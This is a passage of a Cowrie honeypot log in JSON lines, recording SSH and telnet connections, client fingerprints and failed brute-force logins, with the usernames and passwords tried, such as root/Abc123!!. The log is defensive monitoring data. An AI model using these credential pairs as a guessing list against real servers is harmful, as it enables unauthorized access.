ha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:34.897389Z","src_ip":"113.161.222.150","session":"a64481bf2628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":53422,"dst_ip":"10.17.0.5","dst_port":22,"session":"60a64422b6b4","protocol":"ssh","message":"New connection: 164.92.161.148:53422 (10.17.0.5:22) [session: 60a64422b6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:35.590379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:35.594006Z","src_ip":"164.92.161.148","session":"60a64422b6b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:35.682600Z","src_ip":"164.92.161.148","session":"60a64422b6b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft2026","message":"login attempt [minecraft/minecraft2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:35.882972Z","src_ip":"113.161.222.150","session":"a64481bf2628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!","message":"login attempt [root/Abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:36.060065Z","src_ip":"164.92.161.148","session":"60a64422b6b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":54288,"dst_ip":"10.17.0.5","dst_port":22,"session":"18962626b5fc","protocol":"ssh","message":"New connection: 139.59.208.49:54288 (10.17.0.5:22) [session: 18962626b5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:36.985232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:36.989269Z","src_ip":"139.59.208.49","session":"18962626b5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:37.070940Z","src_ip":"139.59.208.49","session":"18962626b5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:37.123118Z","src_ip":"113.161.222.150","session":"a64481bf2628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:37.148717Z","src_ip":"164.92.161.148","session":"60a64422b6b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcasd123","message":"login attempt [root/Zxcasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:37.435475Z","src_ip":"139.59.208.49","session":"18962626b5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:38.522442Z","src_ip":"139.59.208.49","session":"18962626b5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:43.175711Z","src_ip":"8.210.75.243","session":"31b26d616879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":52180,"dst_ip":"159.203.135.109","dst_port":22,"session":"829ec6009f44","protocol":"ssh","message":"New connection: 103.97.101.25:52180 (159.203.135.109:22) [session: 829ec6009f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:48.288952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:48.293705Z","src_ip":"103.97.101.25","session":"829ec6009f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:48.529689Z","src_ip":"103.97.101.25","session":"829ec6009f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sam123","message":"login attempt [root/sam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:49.510063Z","src_ip":"103.97.101.25","session":"829ec6009f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:49.836239Z","src_ip":"8.210.75.243","session":"9b5e81e94bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48612,"dst_ip":"159.203.135.109","dst_port":23,"session":"b308c23d72c2","protocol":"telnet","message":"New connection: 170.64.224.25:48612 (159.203.135.109:23) [session: b308c23d72c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:50.749686Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:50.753034Z","src_ip":"103.97.101.25","session":"829ec6009f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:54.213078Z","src_ip":"8.210.75.243","session":"873988660e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":37566,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6fbc1e198d","protocol":"ssh","message":"New connection: 45.94.68.69:37566 (159.203.135.109:22) [session: 6b6fbc1e198d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:04.080883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:04.085945Z","src_ip":"45.94.68.69","session":"6b6fbc1e198d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91370701789856,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:04.177520Z","src_ip":"170.64.224.25","session":"8abf1f164de5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:04.297726Z","src_ip":"45.94.68.69","session":"6b6fbc1e198d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123","message":"login attempt [tester/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:05.250674Z","src_ip":"45.94.68.69","session":"6b6fbc1e198d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.489550Z","src_ip":"45.94.68.69","session":"6b6fbc1e198d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":32902,"dst_ip":"159.203.135.109","dst_port":22,"session":"691b37feec2b","protocol":"ssh","message":"New connection: 159.65.58.200:32902 (159.203.135.109:22) [session: 691b37feec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.493138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.632122Z","src_ip":"159.65.58.200","session":"691b37feec2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.635423Z","src_ip":"159.65.58.200","session":"691b37feec2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":53122,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9e648d6e64","protocol":"ssh","message":"New connection: 129.121.102.3:53122 (10.17.0.5:22) [session: 7c9e648d6e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.932653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.938475Z","src_ip":"129.121.102.3","session":"7c9e648d6e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:06.962573Z","src_ip":"129.121.102.3","session":"7c9e648d6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jishubu","message":"login attempt [root/jishubu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:07.107776Z","src_ip":"129.121.102.3","session":"7c9e648d6e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sevimi","password":"123456","message":"login attempt [sevimi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:07.790164Z","src_ip":"159.65.58.200","session":"691b37feec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:08.137840Z","src_ip":"129.121.102.3","session":"7c9e648d6e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:09.113336Z","src_ip":"159.65.58.200","session":"691b37feec2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:11.852679Z","src_ip":"8.210.75.243","session":"e8333b1a5663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":41152,"dst_ip":"10.17.0.5","dst_port":22,"session":"01ea8855f2d3","protocol":"ssh","message":"New connection: 192.169.202.129:41152 (10.17.0.5:22) [session: 01ea8855f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:14.980033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:14.984619Z","src_ip":"192.169.202.129","session":"01ea8855f2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:15.049736Z","src_ip":"192.169.202.129","session":"01ea8855f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Th3Gr@ph@M@st3r","message":"login attempt [root/Th3Gr@ph@M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:15.245996Z","src_ip":"192.169.202.129","session":"01ea8855f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":33280,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe2973fa0d76","protocol":"ssh","message":"New connection: 162.240.75.182:33280 (10.17.0.5:22) [session: fe2973fa0d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:15.702618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:15.706449Z","src_ip":"162.240.75.182","session":"fe2973fa0d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:15.788700Z","src_ip":"162.240.75.182","session":"fe2973fa0d76","protocol":"ssh"}
